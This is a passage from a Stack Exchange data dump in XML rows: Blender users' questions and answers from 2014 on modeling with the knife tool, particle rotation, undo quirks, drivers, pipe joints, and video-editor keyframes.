  <row Id="11078" PostTypeId="1" AcceptedAnswerId="12076" CreationDate="2014-06-08T16:42:25.700" Score="2" ViewCount="260" Body="&lt;p&gt;How would you add a horizontal line without interference to the other edge? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown on the image,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BsIIW.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="1224" LastEditDate="2016-11-26T07:23:10.650" LastActivityDate="2016-11-26T07:23:10.650" Title="Add a new edge snapping to a vertex and with an angle constraint?" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11079" PostTypeId="1" AcceptedAnswerId="12074" CreationDate="2014-06-08T16:43:28.113" Score="7" ViewCount="18235" Body="&lt;p&gt;I'm trying to scattered crumbs using the hair system.  The problem is that all of the dupli objects are facing the same direction.  Is there a way to randomly rotate each particle (similar to the random size setting)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm achieving the effect by brushing the hair but this prevents me from editing the initial settings afterward.&lt;/p&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2014-06-08T18:03:53.880" Title="Random Hair Rotation" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11080" PostTypeId="2" ParentId="11058" CreationDate="2014-06-08T17:09:25.787" Score="3" Body="&lt;p&gt;This seems like a pretty bad situation but can also work to your advantage once you are accustomed to it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Undo in Object mode, then you can use Redo before re-entering Edit mode to prevent the loss of what you've done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There reason I say this can be a good thing is because you can bypass the maximum number of Undo's available to edit by entering Object mode then pressing Undo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this can save you a lot of Undo's in Edit mode if you know that you want to discard all the many small changes that you have recently made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is common to all DCC apps is the save button.  Use it often and if you use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; then press the &lt;kbd&gt;+&lt;/kbd&gt; on the NUMPAD, you will have a saved version that has an increment which is one higher then the previous saved version so you will now have 2 .blends and the second will have a 1 at the end of the name.  Do this again and you will have another with a 2 appended to the name.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-06-08T17:09:25.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12074" PostTypeId="2" ParentId="11079" CreationDate="2014-06-08T18:03:53.880" Score="7" Body="&lt;p&gt;You have to enable 'Advanced' particle settings. Then a tab for the particle rotation will show up. Enable it and set 'Phase' and 'Random to 1:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gDzDW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the particles will be rotated randomly:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6T7Y1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default the objects will be pointing up with their y-axis and also rotate around that axis. You can play around with the 'Initail Orientation' setting and its random value to get different rotation behavior.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-08T18:03:53.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12075" PostTypeId="2" ParentId="11074" CreationDate="2014-06-08T18:31:59.750" Score="4" Body="&lt;p&gt;This is simply done by setting the color to black. The light of a diffuse material with a roughness of 0 is calculated using the &lt;a href=&quot;https://en.wikipedia.org/wiki/Lambertian_reflectance#Use_in_computer_graphics&quot; rel=&quot;nofollow&quot;&gt;Lambert lighting model&lt;/a&gt;.&lt;br&gt;&#xA;This model calculates the light that an object reflects as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/math/a/d/d/addafd79ec0208a5445f77360f63797d.png&quot; alt=&quot;Lambertian lighting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &lt;img src=&quot;https://upload.wikimedia.org/math/4/3/c/43c9df60892c9e6f9beae0276bf642fa.png&quot; alt=&quot;I_d&quot;&gt; is the intensity of the diffusely reflected light, &lt;img src=&quot;https://upload.wikimedia.org/math/0/d/6/0d61f8370cad1d412f80b84d143e1257.png&quot; alt=&quot;C&quot;&gt; is the material's color and &lt;img src=&quot;https://upload.wikimedia.org/math/a/1/d/a1dc69cca8e7894fa58c015663f6dc1e.png&quot; alt=&quot;I_l&quot;&gt; is the intensity of the incoming light, &lt;img src=&quot;https://upload.wikimedia.org/math/8/7/4/8744e9c76f2264223e6cc997a9800be2.png&quot; alt=&quot;N&quot;&gt; is the surface's normal vector and &lt;img src=&quot;https://upload.wikimedia.org/math/3/4/5/3456026564515c7f6fefbf9327c4e560.png&quot; alt=&quot;L&quot;&gt; is the normalized vector from the surface point to the light source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For typical colors &lt;img src=&quot;https://upload.wikimedia.org/math/0/d/6/0d61f8370cad1d412f80b84d143e1257.png&quot; alt=&quot;C&quot;&gt; this will give you light areas where the surface faces the light source and darker areas where the surface points away from the light source. But since in your material the color is a pure Black (RGB (0,0,0)) the red green an blue light component will always be multiplied by 0. Thus the resulting surface color will always be black as well, no matter how strong the lightsource is.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-08T18:31:59.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12076" PostTypeId="2" ParentId="11078" CreationDate="2014-06-08T19:51:11.617" Score="5" Body="&lt;p&gt;In edit mode press &lt;kbd&gt;K&lt;/kbd&gt;, that will start the knife tool. Simply &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; click on the vertex you want the cut to start from, and left click again on the other edge. Snapping for the cut is enabled by default. If you want the new edge to be straight then activate &lt;em&gt;angle constrain&lt;/em&gt; by pressing &lt;kbd&gt;C&lt;/kbd&gt;.  Once you like how the new cut is press &lt;kbd&gt;Enter&lt;/kbd&gt; to finish the cut and exit the knife tool.&lt;br&gt;&#xA;If you look at the 3d view header, you will see all the options for the knife tool and what button to press.&#xA;&lt;sub&gt;(click on image for full size)&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MX9ND.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MX9ND.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2014-06-08T19:51:11.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12077" PostTypeId="2" ParentId="9387" CreationDate="2014-06-08T20:08:17.203" Score="3" Body="&lt;p&gt;For edges connected to a face you can use the Knife tool to place a vertex anywhere you want. If you only want one new vertex to be created then just click and drag through only one edge with the knife tool.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-08T20:08:17.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12078" PostTypeId="1" AcceptedAnswerId="12079" CreationDate="2014-06-08T21:42:57.167" Score="7" ViewCount="16473" Body="&lt;p&gt;I'm new to Blender and this site, so I apologize in advance if I'm not following any of the proper etiquette.  I'm no artist, but I'm trying to learn Blender so that I have some programmer art for me to work around in Unity.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed a tutorial for making a basic human model, I rigged it with rigify, and now I'm starting to export it following yet another tutorial.  The thing is, when I was trying to rig the model, I couldn't get the model to go transparent so that I could see the bones inside the model.  Eventually, I managed to get it into wireframe mode, but I can't get it back into solid mode.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably just a display thing and not a property of the model itself, but I want to be sure.  I'm looking at the display options under the &quot;Figure&quot; pane in Blender, and none of the Display check boxes are checked, including the one that says &quot;Wire&quot;.  I don't want to import a plain wireframe model into Unity, and even if that doesn't happen, this is functionality of Blender that I should really know anyway, so I'd appreciate any help that anyone has to offer.  If necessary, I can upload the .blend file, but I'm not sure what site people would prefer that I upload it to.&lt;/p&gt;&#xA;" OwnerUserId="4776" LastEditorUserId="29" LastEditDate="2014-06-08T21:53:21.970" LastActivityDate="2018-01-10T15:51:23.150" Title="Can't get my model out of wireframe mode" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12079" PostTypeId="2" ParentId="12078" CreationDate="2014-06-08T22:04:47.940" Score="7" Body="&lt;p&gt;You have the &lt;em&gt;maximum draw type&lt;/em&gt; of the mesh set to &lt;em&gt;wire&lt;/em&gt; in &lt;em&gt;Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAMPC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting limits the drawing of that object to a wireframe, regardless of other settings (it shouldn't have any affect on exporting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set it to textured or solid to see the faces.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-08T22:04:47.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12080" PostTypeId="2" ParentId="11058" CreationDate="2014-06-08T22:27:40.260" Score="6" Body="&lt;p&gt;This is just the way the undo system works currently. There has been some discussion about this lately, mainly due to &lt;a href=&quot;http://www.blenderguru.com/fixing-blender-part-2-going-deeper/&quot; rel=&quot;noreferrer&quot;&gt;this video&lt;/a&gt; (the part relevant to undo is at &lt;code&gt;8:12&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick when this happens is to redo in &lt;em&gt;object mode&lt;/em&gt; immediately after undoing all your edit mode changes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LF5jL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-08T22:27:40.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12081" PostTypeId="1" AcceptedAnswerId="12082" CreationDate="2014-06-08T23:36:34.310" Score="4" ViewCount="1367" Body="&lt;p&gt;I'm trying to create some hollow intersecting tubes as is hopefully clearly demonstrated in these two screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this one, I've selected the internal parts that are hollow. Note that the holes meet in the middle; the same internal space is accessible from all three holes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XIexj.png&quot; alt=&quot;Screenshot of hollow tubes.&quot;&gt;&#xA;There's a Suzanne on the other side to clearly show the hole.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pIvzN.png&quot; alt=&quot;Screenshot of hollow tubes!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I haven't found any good way of making tubes like my example above. I used five boolean modifiers, some undoing and redoing, and a lot of manual removing of geometry to get the above, and I really think there are better ways to do this... Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="599" LastEditDate="2014-06-09T18:47:55.617" LastActivityDate="2017-09-22T17:37:35.217" Title="Create hollow intersecting tubes" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12082" PostTypeId="2" ParentId="12081" CreationDate="2014-06-09T01:18:24.670" Score="4" Body="&lt;p&gt;In User Preferences search for the &quot;Pipe Joints&quot; addon and enable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9gEmw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and go to &lt;em&gt;Mesh &gt; Pipe Joints &gt; Pipe Y-Joint&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nC3aa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pipe Joints is now part of the Extra Objects Addon in the &lt;em&gt;Add Mesh&lt;/em&gt; category&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gnqWe.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And can be accessed through Add&gt;Mesh&gt;Mechanical&gt;Pipe Joints&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EhAkE.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can control the shape and angle of the joint by using the tab on the left side of the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6TMA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add some thickness use a solidify modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Av8qw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2017-09-22T17:37:35.217" LastActivityDate="2017-09-22T17:37:35.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12083" PostTypeId="1" AcceptedAnswerId="12108" CreationDate="2014-06-09T03:35:42.020" Score="1" ViewCount="735" Body="&lt;p&gt;I'm trying to find a less techy alternative to render water splashes in a river than the smoke simulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All what i've found is &lt;a href=&quot;https://www.youtube.com/watch?v=Dq408GbxqfU&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorials&lt;/a&gt; to make waterfalls that have been done with the smoke simulation, where the results are awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i can't go that way, basically because i'm not Pixar and i need to have the final render (wich will be a 1 min. long animation) whitin a reasonable amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out the way it was done before simulations...I don't need it to look realistic at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: this is totally related to &lt;a href=&quot;https://blender.stackexchange.com/questions/7919/river-simulation-different-approaches-than-fluid-simulation&quot;&gt;this&lt;/a&gt; question &lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-12-01T10:25:05.113" Title="Smoke-like material without simulation?" Tags="&lt;materials&gt;&lt;smoke-simulation&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12084" PostTypeId="1" AcceptedAnswerId="12086" CreationDate="2014-06-09T03:45:13.233" Score="5" ViewCount="1122" Body="&lt;p&gt;Basically to see this, all you have to do is hold down the &lt;kbd&gt;d&lt;/kbd&gt; key and hover the mouse cursor all over a node or modifier and many of the active elements will change to a purple color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sometimes happens to me when I've been using the grease pencil to make notes and then move over some part of the UI quickly before I remember to release the 'd' key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is this purple, and how can it be un-purpled?&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="55" LastEditDate="2014-06-09T10:47:03.400" LastActivityDate="2014-06-09T10:47:03.400" Title="Why are some buttons purple?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12086" PostTypeId="2" ParentId="12084" CreationDate="2014-06-09T09:18:33.290" Score="6" Body="&lt;p&gt;By pressing &lt;kbd&gt;D&lt;/kbd&gt; over an input field you are telling Blender to create a driver for that value. A driver is a way of controlling one value (the driven value) by another value (the driver). For example you  could drive the scale of one object by the rotational value of another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the driver you can either right-click on the value and choose 'Delete Drivers' or you could:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to the 'Graph Editor' from any screen area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z9NOC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the view from 'F-Curve' to 'Drivers':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Kjbf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shift select all the driven channels in the list and press &lt;kbd&gt;X&lt;/kbd&gt; to delete them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rwOS1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to view and delete drivers for multiple objects at the same time make sure to toggle off the cursor icon which limits the view to currently selected objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yRTnc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-06-09T09:18:33.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12087" PostTypeId="2" ParentId="11007" CreationDate="2014-06-09T12:44:40.677" Score="0" Body="&lt;p&gt;Before you enable ik have a driver that bends the bone like how you want this should help. Also set the chain length to 2 and play around with the pole angle.&lt;/p&gt;&#xA;" OwnerUserId="3155" LastActivityDate="2014-06-09T12:44:40.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12088" PostTypeId="1" CreationDate="2014-06-09T12:47:31.933" Score="3" ViewCount="1073" Body="&lt;p&gt;I have linked &lt;a href=&quot;http://cgcookie.com/blender/resource/cg-cookie-flex-rig-free-download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cookie flex rig&lt;/a&gt; by browsing to the groups folder of the rig file and then linking the character group (standard method) and not appending.&#xA;And then i did a proxy of rig by pressing &quot;Ctrl+Alt+P&quot; and selecting &quot;rig&quot; from list.&#xA;After this i do some animation and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Problem&lt;/strong&gt;&#xA;But if i create another instance of the same &quot;linked group&quot;(charecter) and then proxy the rig&#xA;then even the first instance gets the same pose as the second one. I am not able to independently animate the two instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pls note&lt;/strong&gt; that i am aware of creating different files of the source rig file and renaming the groups and then instancing them back into one file. But i am not happy with this method as its crude. It create many files using more storage space. I have been using this solution though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fG2tH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tbkm7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="778" LastEditDate="2014-06-09T13:05:08.697" LastActivityDate="2014-07-22T02:35:13.327" Title="How to duplicate linked(external) rigged character and animate each instance independently?" Tags="&lt;rigging&gt;&lt;linked-data&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12089" PostTypeId="2" ParentId="11032" CreationDate="2014-06-09T12:49:31.633" Score="0" Body="&lt;p&gt;&lt;code&gt;crt-r&lt;/code&gt; should get you your horizontal cuts then use &lt;code&gt;shift-Tab&lt;/code&gt; to snap the movement to grid. Doing this you can try and get your prefect quads&lt;/p&gt;&#xA;" OwnerUserId="3155" LastActivityDate="2014-06-09T12:49:31.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12090" PostTypeId="2" ParentId="12083" CreationDate="2014-06-09T12:53:46.397" Score="1" Body="&lt;p&gt;Smoke simulation in cycles will give you the best result. But seeing as you don't want that you can try having smoke sprites close to how video games do it. &lt;/p&gt;&#xA;" OwnerUserId="3155" LastActivityDate="2014-06-09T12:53:46.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12091" PostTypeId="1" CreationDate="2014-06-09T14:28:26.793" Score="0" ViewCount="977" Body="&lt;p&gt;I made a low poly car model (772 tris, game asset) but I'd like to unwrap it so that I can use a single texture like this &lt;a href=&quot;http://i2.photobucket.com/albums/y21/aaronaton/IntegLowPolyPage.jpg&quot; rel=&quot;nofollow&quot;&gt;car (no download, jpeg, 70 KB)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing multiple &quot;project from view&quot; unwraps doesn't work since it deletes the last one. So what can I do with Blender?&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-06-09T19:24:42.630" Title="How to UV unwrap a car model using standard perspectives?" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-06-10T04:52:41.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="12092" PostTypeId="1" CreationDate="2014-06-09T14:52:36.287" Score="0" ViewCount="46" Body="&lt;p&gt;Whenever I try to create a new object and scale/transform it in object mode, it automatically selects another object and scales that object too without me selecting that object.&lt;br&gt;&#xA;I think this has something to do with the origin of the object that is automatically selected given that it has the same origin as the new object created.&lt;br&gt;&#xA;Note: The object that is automatically selected is not highlighted in the scene section and I cannot deselect it.&lt;br&gt;&lt;br&gt;&#xA;Any idea how I can fix this problem? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3727" LastActivityDate="2014-06-09T18:17:41.173" Title="Rescaling/transform affects 2 objects instead of just the one selected?" Tags="&lt;transforms&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12093" PostTypeId="1" CreationDate="2014-06-09T16:43:32.677" Score="0" ViewCount="25" Body="&lt;p&gt;I'm wondering if there is a setting I am missing or even if I need to re-install.  I can't see what I am actually doing incorrectly.  I cannot duplicate an object and individually select between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically in seconds 20 - 28 of this video I can't accomplish.  &lt;a href=&quot;https://www.youtube.com/watch?v=Bc-zPyV1kew&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=Bc-zPyV1kew&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My steps are: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Make new file which opens default blender cube.&#xA;2) Click cube, &lt;kbd&gt;shift&lt;/kbd&gt; &lt;kbd&gt;D&lt;/kbd&gt;, drag new cube left.&#xA;3) Attempt to select original cube - I can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is to duplicate an object I've created in another file I have, resize and edit that, and be able to separately edit both objects in that session - but I can't even dupe the default shape properly. Any direction appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4779" LastEditorUserId="2217" LastEditDate="2014-06-09T17:05:06.283" LastActivityDate="2014-06-09T17:05:06.283" Title="Problem duplicating and separately selecting between objects" Tags="&lt;selection-tools&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-06-10T03:40:45.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="12094" PostTypeId="2" ParentId="12092" CreationDate="2014-06-09T18:12:06.297" Score="1" Body="&lt;p&gt;Sounds like you added you new object in &lt;em&gt;Edit mode&lt;/em&gt;. Press &lt;kbd&gt;tab&lt;/kbd&gt; to toggle between edit mode and object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ox6nO.png&quot; alt=&quot;edit mode menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If in fact you have one object, then in edit press &lt;kbd&gt;P&lt;/kbd&gt; then choose &lt;em&gt;loose parts&lt;/em&gt;. That will split the object in to multiple pieces.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-06-09T18:17:41.173" LastActivityDate="2014-06-09T18:17:41.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12095" PostTypeId="1" AcceptedAnswerId="13686" CreationDate="2014-06-09T18:12:25.910" Score="4" ViewCount="574" Body="&lt;p&gt;Say I have 10 models in the scene. They all have 3 materials on them (Red, white, and blue). I am using these same 3 materials over and over again on all of my models. Is my game going to run faster if I bake the textures of all of my models and make separate materials for each model, or if I continue to link the 3 materials on every model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender Game Engine.&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="599" LastEditDate="2014-06-09T18:52:33.507" LastActivityDate="2014-07-02T08:56:09.303" Title="Is re-using materials on models faster than baking textures for each model?" Tags="&lt;materials&gt;&lt;game-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12098" PostTypeId="1" AcceptedAnswerId="12103" CreationDate="2014-06-09T20:01:53.943" Score="3" ViewCount="16368" Body="&lt;p&gt;I have a 2D mesh plane dividing into numerous faces. I have x amount of faces selected and I want to extrude or translate them along the z-axis to create a 3D model. I am trying to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the 5:30 mark to the 5:50 mark in this video&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=mbm9lPB5GPw#t=5m30s&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=mbm9lPB5GPw#t=5m30s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My object will not move along the z-axis. The faces don't move at all, even if I type in the amount to move along the z-axis and press enter, it continues to just remain a 2D plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out if I have a setting turned on or off that is causing this or if its something else. It seems it should be straightforward, but I have not been able to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LAZMR.png&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot get the selected faces to extrude/translate outward from the plane along the Z-Axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my .blend file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29706&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29706&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4784" LastEditorUserId="4784" LastEditDate="2014-06-09T23:06:19.137" LastActivityDate="2014-06-09T23:10:57.067" Title="Why am I unable to extrude/translate along the Z-Axis?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12099" PostTypeId="1" AcceptedAnswerId="12162" CreationDate="2014-06-09T20:29:23.223" Score="1" ViewCount="10624" Body="&lt;p&gt;I'm using blender 2.69's VSE (Video Sequence Editor) to edit a simple video; and have run into problems with key frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent ages adding lots of key frames to make the brightness to fluctuate with the sound, then for some unknown reason, I lost all the key frames.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I've tried hovering over the graph editor and pressing the home button, but know joy; could I somehow have turned them off?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have an earlier version of the blender file, that still has most of the working key frames in it, could I copy them back, and if so how?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After comparing settings on the earlier version file with the problem file, I managed to get an opacity to fade in on a strip; but I appear to have lost the key frames, in the graph editor, that made this work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this by pressing the snowflake here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tYNmL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which resulted in the loss of the key frames (see below) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZTvF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it workes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried to add an additional key frame to control contrast on another strip, but it doesn't seem to work either. The contrast value doesn't change when you drag the play head over the transition, in the graph editor, 